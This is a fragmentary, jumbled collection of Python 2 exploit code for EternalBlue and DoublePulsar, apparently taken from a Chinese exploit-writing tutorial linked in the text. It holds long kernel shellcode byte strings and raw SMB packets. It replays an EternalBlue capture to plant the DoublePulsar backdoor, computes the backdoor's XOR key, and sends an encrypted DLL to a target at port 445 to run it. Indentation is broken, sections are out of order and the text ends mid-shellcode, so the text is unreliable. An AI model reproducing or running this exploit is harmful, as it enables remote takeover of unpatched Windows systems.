\x57\x52\x53\x48\x8B\x7D\x08\x48\x83\xC7\x50\x48\x31\xDB\x8B\x1F\x48\x89\x5D\x50\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x17\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xD1\x48\x89\xDA\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x75\x25\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xDA\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x76\x48\x48\x8B\x7D\x20\x48\x8B\x5D\x08\x48\x83\xC3\x54\x48\x31\xC9\x8B\x0B\xF3\xA4\x5E\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x74\x4D\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x56\x48\x8B\x76\x48\x48\x89\xC1\x48\x83\xC1\x14\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD6\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x48\x83\xC0\x10\x48\x31\xC9\x8B\x08\xF3\xA4\x5E\x48\xFF\xC2\xEB\xAE\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x20\xE8\x6C\xFE\xFF\xFF\x48\x85\xC0\x0F\x85\x50\x01\x00\x00\xE8\x1F\x05\x00\x00\x48\x85\xC0\x0F\x85\x42\x01\x00\x00\x48\x8B\x7D\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x01\xFB\x48\x89\x5D\x30\x48\x39\xFB\x0F\x84\x0F\x01\x00\x00\x49\x89\xDA\x49\x83\xC2\x10\x48\x31\xC0\x41\x8B\x02\x48\x85\xC0\x0F\x84\xF9\x00\x00\x00\x48\x8B\x45\x00\x48\x89\xDA\x48\x83\xC2\x0C\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD0\x48\x89\xC1\x48\x83\xEC\x20\xFF\x56\x18\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xC6\x00\x00\x00\x48\x89\x45\x48\x48\x89\xDA\x48\x83\xC2\x00\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x38\x48\x89\xDA\x48\x83\xC2\x10\x48\x8B\x7D\x00\x4D\x31\xD2\x44\x8B\x12\x4C\x01\xD7\x48\x89\x7D\x40\x48\x8B\x55\x38\x48\x8B\x12\x48\x85\xD2\x74\x7D\x48\x89\xD7\x49\xBA\x00\x00\x00\x00\x00\x00\x00\x80\x4C\x21\xD7\x74\x0C\x48\x89\xD7\x48\x81\xE7\xFF\xFF\x00\x00\xEB\x0B\x48\x8B\x7D\x00\x48\x01\xD7\x48\x83\xC7\x02\x48\x89\xFA\x48\x8B\x4D\x48\x48\x83\xEC\x20\xFF\x56\x20\x48\x83\xC4\x20\x48\x85\xC0\x74\x46\x48\x8B\x55\x40\x48\x89\x02\xE8\x07\x06\x00\x00\x48\x85\xC0\x74\x0F\xE8\x97\x05\x00\x00\x48\x85\xC0\x75\x05\xE8\xF0\x04\x00\x00\x48\x8B\x55\x38\x48\x83\xC2\x08\x48\x89\x55\x38\x48\x8B\x55\x40\x48\x83\xC2\x08\x48\x89\x55\x40\xE9\x77\xFF\xFF\xFF\x48\x83\xC3\x14\xE9\xF9\xFE\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x55\x20\x48\x89\x17\x48\x31\xC0\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x55\x28\x48\x85\xD2\x0F\x84\xF5\x00\x00\x00\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x05\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xC1\x00\x00\x00\x49\x89\xD2\x49\x83\xC2\x00\x48\x31\xFF\x41\x8B\x3A\x48\x85\xFF\x0F\x84\xA3\x00\x00\x00\x48\x8B\x55\x20\x48\x01\xFA\x49\x89\xD2\x49\x83\xC2\x04\x41\x8B\x3A\x48\x85\xFF\x0F\x84\x91\x00\x00\x00\x48\x83\xEF\x08\x48\xD1\xEF\x48\x31\xC9\x48\x39\xF9\x74\x65\x48\x89\xD3\x48\x83\xC3\x08\x48\x89\xC8\x48\xD1\xE0\x48\x01\xC3\x48\xC7\x45\x58\x00\x00\x00\x00\x66\x8B\x03\x66\x25\x00\xF0\x66\xC1\xE8\x0C\x66\x83\xF8\x00\x74\x37\x66\x83\xF8\x03\x74\x06\x66\x83\xF8\x0A\x75\x2B\x49\x89\xD2\x49\x83\xC2\x00\x41\x8B\x02\x48\x89\x45\x58\x48\x31\xC0\x66\x8B\x03\x66\x25\xFF\x0F\x48\x01\x45\x58\x48\x8B\x45\x20\x48\x03\x45\x58\x48\x8B\x5D\x28\x48\x01\x18\x48\xFF\xC1\xEB\x96\x49\x89\xD2\x49\x83\xC2\x04\x48\x31\xFF\x41\x8B\x3A\x48\x01\xFA\xE9\x64\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x03\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x89\xD1\x48\x83\xC1\x04\x48\x31\xC0\x8B\x01\x48\x85\xC0\x74\x36\x48\x89\xD1\x48\x83\xC1\x00\x48\x31\xFF\x8B\x39\x48\x85\xFF\x74\x25\x48\x8B\x4D\x20\x49\x89\xC8\x48\x01\xF9\x48\x89\x4D\x78\x48\x31\xD2\xBF\x0C\x00\x00\x00\xF7\xF7\x89\xC2\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x48\x8B\x7D\x08\x48\x83\xC7\x06\x48\x31\xDB\x66\x8B\x1F\x48\x31\xD2\x48\x39\xD3\x0F\x84\xE6\x00\x00\x00\x48\xB8\x28\x00\x00\x00\x00\x00\x00\x00\x52\x48\xF7\xE2\x5A\x48\x03\x45\x10\x49\x89\xC2\x49\x83\xC2\x24\x48\x31\xFF\x41\x8B\x3A\xC7\x85\xA6\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x02\x0F\x85\x9F\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x40\x74\x0A\xC7\x85\xA6\x00\x00\x00\x02\x00\x00\x00\x49\xBA\x00\x00\x00\x80\x00\x00\x00\x00\x4C\x85\xD7\x74\x0A\xC7\x85\xA6\x00\x00\x00\x04\x00\x00\x00\x48\xF7\xC7\x00\x00\x00\x20\x74\x26\x83\xBD\xA6\x00\x00\x00\x02\x75\x0A\xC7\x85\xA6\x00\x00\x00\x20\x00\x00\x00\x83\xBD\xA6\x00\x00\x00\x04\x75\x0A\xC7\x85\xA6\x00\x00\x00\x40\x00\x00\x00\x48\x8B\x7D\x20\x48\x89\xC1\x48\x83\xC1\x0C\x4D\x31\xD2\x44\x8B\x11\x4C\x01\xD7\x49\x89\xC2\x49\x83\xC2\x08\x41\x8B\x0A\x52\x4C\x8D\x8D\xAA\x00\x00\x00\x4C\x8B\x85\xA6\x00\x00\x00\x48\x89\xCA\x48\x89\xF9\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x5A\x48\x85\xC0\x74\x08\x48\xFF\xC2\xE9\x19\xFF\xFF\xFF\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x52\x57\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\xEB\x0C\x52\x57\x48\xBA\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x45\x20\x4C\x8B\x55\x08\x49\x83\xC2\x28\x48\x31\xFF\x41\x8B\x3A\x48\x01\xF8\x49\xB8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x20\x48\x31\xC0\x5F\x5A\xC3\x48\x39\xEC\x0F\x8D\xAA\x00\x00\x00\x57\x56\x53\x48\x89\xE6\x48\x83\xC6\x0C\x55\x6A\x00\x48\x89\xE3\x51\x52\x48\x89\xE9\x48\x29\xF1\x48\x83\xF9\x08\x0F\x8C\x81\x00\x00\x00\x50\x52\x53\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\x6B\xC0\x08\x48\x39\xC8\x7D\x03\x48\x89\xC1\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x89\xC8\x48\xBB\x08\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xFB\x48\xFF\xC8\x6A\x00\x48\x83\xF8\x00\x75\xF5\x48\x01\xCC\x5B\x5A\x58\x48\x89\xE5\x48\x89\xE7\x48\x29\xCF\x48\x89\xFC\xF3\xA4\x48\x89\x23\x48\x8B\x4B\xF8\x48\x8B\x53\xF0\x48\xC7\x43\xF8\x00\x00\x00\x00\x48\xC7\x43\xF0\x00\x00\x00\x00\x48\xC7\x04\x24\xFF\xFF\xFF\xFF\x48\xBE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xEE\xFF\xE0\x59\x59\x5D\x5D\x5B\x5E\x5F\xFF\xE0\x48\x89\xE1\x48\x2B\x4D\x08\x48\x83\xE9\x04\x48\x89\xEC\x48\x83\xC4\x0C\x5D\x5B\x5E\x5F\x5A\x48\x01\xCC\xFF\xE2\x00\x00\x00\x00\x57\x52\x53\x51\x48\xB8\x08\x00\x00\x00\x00\x00\x00\x00\x48\xBA\x0C\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE2\x48\x8B\x55\x18\x48\x01\xC2\x48\x83\xC2\x04\x48\x31\xDB\x8B\x1A\x48\xC1\xEB\x02\x48\xB8\x0F\x00\x00\x00\x00\x00\x00\x00\x48\xF7\xE3\x48\x89\x45\x68\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x89\xC2\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x74\x7C\x48\x89\x45\x60\x48\x8B\x46\x58\x48\x8B\xBD\xAE\x00\x00\x00\x48\x83\xC7\x03\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x00\x00\x00\x00\x74\x2E\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\x9D\xC6\x00\x00\x00\x48\x89\x03\x48\x8B\x5E\x60\x48\x8B\xBD\xC6\x00\x00\x00\x48\x29\xDF\x48\x8B\x9D\xB6\x00\x00\x00\x48\xFF\xC3\x48\x89\x3B\xEB\x14\x48\x8B\x85\xBE\x00\x00\x00\x48\x8B\xBD\xB6\x00\x00\x00\x48\xFF\xC7\x48\x89\x07\x48\x8B\x46\x68\x48\xA9\x01\x00\x00\x00\x74\x14\x48\x8B\xBD\xB6\x00\x00\x00\xC6\x07\xBF\xEB\x08\x48\x31\xC0\x48\xF7\xD0\xEB\x03\x48\x31\xC0\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x50\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x89\xEE\x48\x81\xC6\x80\x00\x00\x00\x48\xB9\x0F\x00\x00\x00\x00\x00\x00\x00\xF3\xA4\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x00\x48\xFF\xC7\x48\x8B\x55\x40\x48\x8B\x1A\x48\x89\x1F\x48\x8B\xB5\xCE\x00\x00\x00\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x83\xC7\x08\x48\x29\xFE\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x83\xC7\x0A\x48\xFF\xC7\x48\x89\x37\x48\x8B\x7D\x60\x48\x8B\x45\x70\x48\x01\xC7\x48\x8B\x75\x40\x48\x89\x3E\x48\x8B\x45\x70\x48\x83\xC0\x0F\x48\x89\x45\x70\x58\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\xEB\x4D\x48\x8B\x7D\x00\x48\x89\xDA\x48\x83\xC2\x0C\x48\x03\x3A\x48\x89\xE9\x48\x81\xC1\x8F\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x22\x48\x89\xE9\x48\x81\xC1\x9A\x00\x00\x00\x48\x89\xFA\x48\x83\xEC\x20\xFF\x56\x28\x48\x83\xC4\x20\x48\x85\xC0\x74\x05\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\x57\x52\x53\x51\x56\x48\x8B\x7D\x48\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x0F\x85\x9B\x00\x00\x00\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\xFA\x48\x83\xC2\x00\x48\x31\xDB\x8B\x1A\x48\x81\xFB\x50\x45\x00\x00\x75\x77\x48\x89\xFE\x48\x83\xC6\x14\x48\x31\xDB\x66\x8B\x1E\x48\x89\xFE\x48\x83\xC6\x18\x48\x01\xDE\x48\x89\xFB\x48\x83\xC3\x06\x48\x31\xC9\x66\x8B\x0B\x48\x31\xD2\x48\x89\xF3\x48\x83\xC3\x0C\x48\x8B\x7D\x48\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7C\x2B\x48\x89\xF3\x48\x83\xC3\x08\x4D\x31\xD2\x44\x8B\x13\x4C\x01\xD7\x48\x39\xF8\x7D\x16\x49\x89\xF2\x49\x83\xC2\x24\x48\x31\xDB\x41\x8B\x1A\x48\xF7\xC3\x00\x00\x00\x20\x75\x11\x48\x83\xC6\x28\x48\xFF\xC2\x48\x39\xCA\x7C\xB0\x48\x31\xC0\xEB\x0C\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00\xEB\x00\x5E\x59\x5B\x5A\x5F\xC3\xEB\x4D\x90\x90\x90\x90\x90\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1E\x00\x00\x00\x21\x0D\x00\x00\x4E\x0D\x00\x00\x00\x09\x00\x00\x00\x5E\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x58\x48\x8B\x60\xC6\x48\x8B\x68\xCE\x48\x8B\x70\xD6\x48\x8D\x0D\xCA\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\xE9\x11\x01\x00\x00\x4C\x89\xC6\xE9\x09\x01\x00\x00\x54\x55\x51\x52\x53\x56\x57\x48\x31\xDB\x65\x48\x8B\x5B\x30\x48\x8B\x5B\x60\x48\x8B\x5B\x18\x48\x8B\x5B\x10\x48\x8B\x73\x60\x48\x85\xF6\x0F\x84\xA6\x00\x00\x00\x48\x8B\x6B\x30\x48\x85\xED\x0F\x84\x99\x00\x00\x00\x48\x31\xD2\xC1\xC2\x05\x66\xAD\x0C\x20\x30\xC2\x66\x83\x3E\x00\x75\xF1\x48\x8B\x1B\x48\x3B\x54\x24\x20\x75\xCA\x48\x89\xEF\x66\x81\x3F\x4D\x5A\x75\x73\x8B\x7D\x3C\x48\x01\xEF\x81\x3F\x50\x45\x00\x00\x75\x65\x48\x89\xF9\x48\x83\xC1\x18\x48\x85\xC9\x74\x59\x48\x31\xD2\x8B\xBF\x88\x00\x00\x00\x48\x01\xEF\x8B\x57\x1C\x48\x01\xEA\x8B\x5F\x20\x48\x01\xEB\x8B\x7F\x24\x48\x01\xEF\x49\x89\xD1\x8B\x33\x48\x01\xEE\x48\x31\xD2\xC1\xC2\x05\xAC\x0C\x20\x30\xC2\x80\x3E\x00\x75\xF3\x48\x3B\x54\x24\x18\x74\x0C\x48\x83\xC7\x02\x48\x83\xC3\x04\xE2\xDA\xEB\x10\x48\x0F\xB7\x17\x48\xC1\xE2\x02\x4C\x01\xCA\x8B\x02\x48\x01\xE8\x5F\x5E\x5B\x5A\x59\x5D\x5C\xC3\x06\xDF\xB0\x2C\x51\x33\x8A\x8D\xA4\x00\x78\x95\x27\x85\x00\x3B\x00\xA1\xB4\x00\xDB\xB6\xB6\xE5\x00\xC4\x22\x07\xE2\x00\x82\x5A\x15\x4A\x00\x02\x55\xF0\xD6\xDE\x79\x03\xAA\x86\x00\x0D\xC4\x8A\xDC\x00\x00\x48\x8B\x26\x50\x48\x31\xC0\x48\x8D\x0D\x33\x00\x00\x00\x48\x8D\x1D\x2C\x00\x00\x00\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x48\x8D\x0D\x0D\x00\x00\x00\x48\x8D\x1D\x96\xF0\xFF\xFF\x48\x29\xD9\x48\x89\xDF\xF3\xAA\x58\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5E\x5F\x5D\x5B\xC3\xEB\x08\x00\x14\x00\x00\x01\x00\x00\x00"
        f = open(dllfile,"rb")
    dll_hex = f.read()
    f.close()
    #dll_hex += "\x00"*3
    array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)
    for i in range(ncount):
        #print binascii.b2a_hex(array[i])
        print i+4,",len:",len(array[i])
        s.sendall(array[i])
        data = s.recv(1024)
        print i+4,"--->",data
        #end1
            step_7_data ="\x00\x00\x00\x23\xFF\x53\x4D\x42\x71\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x00\x00\x00"
            s.sendall(step_7_data)
            data = s.recv(1024)
            print 7,data
            #end2
            step_8_data ="\x00\x00\x00\x27\xFF\x53\x4D\x42\x74\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00\x02\xFF\x00\x27\x00\x00\x00"
            s.sendall(step_8_data)
            data = s.recv(1024)
            print 8,data
            print "------Inject dll done!------"
                s.close()

EternalBlue之32位exploit编写(一) http://bobao.360.cn/learning/detail/4012.html

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import time
import ast
import binascii
import struct
HOST ='192.168.110.128'
PORT = 445
dllfile = "x86.dll"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
def Install_Backdoor():
backlog = open("eternalblue.replay").read().split("\n\n")
backlog = [ast.literal_eval(i) for i in backlog]
connections = []
start = time.time()
for i in backlog:
delta = i[-1] - (start - time.time())
print(i[0], delta)
if delta > 0:
time.sleep(delta)
start = time.time()
if i[0] == "connect":
sock = socket.socket()
sock.connect((HOST , PORT ))
connections.append({"socket":sock,"stream" : i[1]})
if i[0] == "close":
[j['socket'].close() for j in connections if j["stream"] == i[1]]
if i[0] == "send":
[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
if i[0] == "recv":
[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key
"""
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff  # this line was added just to truncate to 32 bits
return x
def make_unicode_host(org_host):
host_len = len(org_host)
new_host = ""
for i in range(host_len):
new_host =new_host + "\x00" + org_host[i]
return new_host
def get_smb_signature(smb_data):
return smb_data[18:22]
def get_key(smb_data):
smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0]
#print "smb_sign:","0x%X"%(smb_sign)
int_key = calculate_doublepulsar_xor_key(smb_sign)
print  "int_key:","0x%X"%(int_key)
key=struct.pack("<I",int_key)
#print "key:",binascii.b2a_hex(key)
return key
def xor_data(org_data , key):
#异或加密
newdata = ""
for i in range(len(org_data)):
newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))
#print binascii.b2a_hex(newdata)
return newdata
def make_smb_request(send_data , key):
data_len = len(send_data)
array = []
ncount = data_len / 4096
if (data_len % 4096) > 0:
ncount += 1
make_data =""
for i in range(ncount):
if i < ncount-1:
smb_Length = struct.pack(">H",4096 +32 +34 + 12)
#print binascii.b2a_hex(smb_Length)
totalDataCount = struct.pack("<H",4096)
byteCount = struct.pack("<H",4096 + 13)
make_data = send_data[i*4096:(i+1)*4096]
else:
smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12)
totalDataCount = struct.pack("<H",data_len - 4096*i)
byteCount = struct.pack("<H",data_len - 4096*i+ 13)
make_data = send_data[i*4096:]
netBIOS_header = "\x00\x00"+ smb_Length
smb_header = "\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00"
transRequest_header = "\x0F\x0C\x00"+ totalDataCount +"\x01\x00\x00\x00\x00\x00\x00\x00\xE5\x69\x7A\x00\x00\x00\x0C\x00\x42\x00"+totalDataCount+"\x4E\x00\x01\x00\x0E\x00"+ byteCount +"\x00"
data_header = "\x08\x27\x00\x00"+totalDataCount+"\x00\x00\x00"+chr(i*0x10)+"\x00\x00"
print "data_header:",binascii.b2a_hex(data_header)
print len(data_header)
array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))
return array , ncount
if __name__ == "__main__":
#安装后门
Install_Backdoor()
#print "------Install backdoor done!------"
#上传并执行dll
#smb 头是32字节 请求包50字节 ,以下一行30字节
#smb版本
step_0_data = "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"
s.sendall(step_0_data)
data = s.recv(1024)
print 0,data
#windows系统版本
step_1_data ="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00"
s.sendall(step_1_data)
data = s.recv(1024)
print 1,data
#对方ip地址 x.x.x.x
#str_ip = "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x60\x00\x08\x00\x01\x00\x35\x00\x00\x5C\x00\x5C"+ make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"
#step_2_data ="\x00\x00\x00"+chr(len(str_ip))+ str_ip
step_2_data ="\x00\x00\x00"+chr(len(str_ip))+"\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x60\x00\x08\x00\x01\x00\x35\x00\x00\x5C\x00\x5C"+ make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"
print binascii.b2a_hex(step_2_data)
print step_2_data
s.sendall(step_2_data)
data = s.recv(1024)
print 2,data
#验证得到signature
step_3_data ="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x40\x69\x7A\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

s.sendall(step_3_data)
response = s.recv(1024)
print 3,response
#print 3,binascii.b2a_hex(response)
key = get_key(response)
#shellcode+dll
kernel_shellcode ="\x8B\x44\x24\x04\x60\x89\xC5\x81\xEC\xB4\x00\x00\x00\x89\xE7\xB8\x10\x00\x00\x00\x89\x87\x9C\x00\x00\x00\xB8\x40\x00\x00\x00\x89\x87\xA0\x00\x00\x00\xB8\x98\x01\x00\x00\x89\x87\xA4\x00\x00\x00\xB8\xBD\xA2\x37\x83\x89\x87\xA8\x00\x00\x00\xB8\x00\x00\x00\x00\x89\x87\xAC\x00\x00\x00\xB8\x00\x00\x00\x00\x89\x87\xB0\x00\x00\x00\xB8\x88\x01\x00\x00\x89\x87\x94\x00\x00\x00\x64\x8B\x1D\x38\x00\x00\x00\x66\x8B\x43\x06\xC1\xE0\x10\x66\x8B\x03\x66\x25\x00\xF0\x8B\x18\x66\x81\xFB\x4D\x5A\x74\x07\x2D\x00\x10\x00\x00\xEB\xF0\x89\x47\x4C\x89\xC3\xB9\x94\x01\x69\xE3\xE8\x8B\x03\x00\x00\x85\xC0\x0F\x84\x8A\x02\x00\x00\x89\x07\xB9\x85\x54\x83\xF0\xE8\x77\x03\x00\x00\x85\xC0\x0F\x84\x76\x02\x00\x00\x89\x47\x04\xB9\x84\x06\xE7\xF9\xE8\x62\x03\x00\x00\x85\xC0\x0F\x84\x61\x02\x00\x00\x89\x47\x08\xB9\xF9\x30\xAC\xA4\xE8\x4D\x03\x00\x00\x85\xC0\x0F\x84\x4C\x02\x00\x00\x89\x47\x0C\xB9\xAE\xB8\x9F\x5D\xE8\x38\x03\x00\x00\x85\xC0\x0F\x84\x37\x02\x00\x00\x89\x47\x10\xB9\xF6\x10\x00\xB8\xE8\x23\x03\x00\x00\x85\xC0\x0F\x84\x22\x02\x00\x00\x89\x47\x14\xB9\xCA\xD6\x5F\xD2\xE8\x0E\x03\x00\x00\x85\xC0\x0F\x84\x0D\x02\x00\x00\x89\x47\x18\xB9\xEE\x88\x6E\x0A\xE8\xF9\x02\x00\x00\x85\xC0\x0F\x84\xF8\x01\x00\x00\x89\x47\x1C\xB9\xCE\x0C\xB5\xDB\xE8\xE4\x02\x00\x00\x85\xC0\x0F\x84\xE3\x01\x00\x00\x89\x47\x20\xB9\x02\xB8\x9B\xD2\xE8\xCF\x02\x00\x00\x85\xC0\x0F\x84\xCE\x01\x00\x00\x89\x47\x24\xB9\x09\x89\x30\xDF\xE8\xBA\x02\x00\x00\x85\xC0\x0F\x84\xB9\x01\x00\x00\x89\x47\x28\xB9\x7D\xE3\x4D\xA0\xE8\xA5\x02\x00\x00\x85\xC0\x0F\x84\xA4\x01\x00\x00\x89\x47\x2C\xB9\xDF\x81\x14\x3E\xE8\x90\x02\x00\x00\x85\xC0\x0F\x84\x8F\x01\x00\x00\x89\x47\x30\xB9\xBA\x1E\x03\xA0\xE8\x7B\x02\x00\x00\x85\xC0\x0F\x84\x7A\x01\x00\x00\x89\x47\x34\xB9\x4F\xFE\xEB\x15\xE8\x66\x02\x00\x00\x85\xC0\x0F\x84\x65\x01\x00\x00\x89\x47\x38\xB9\xCA\xBE\xD0\xEC\xE8\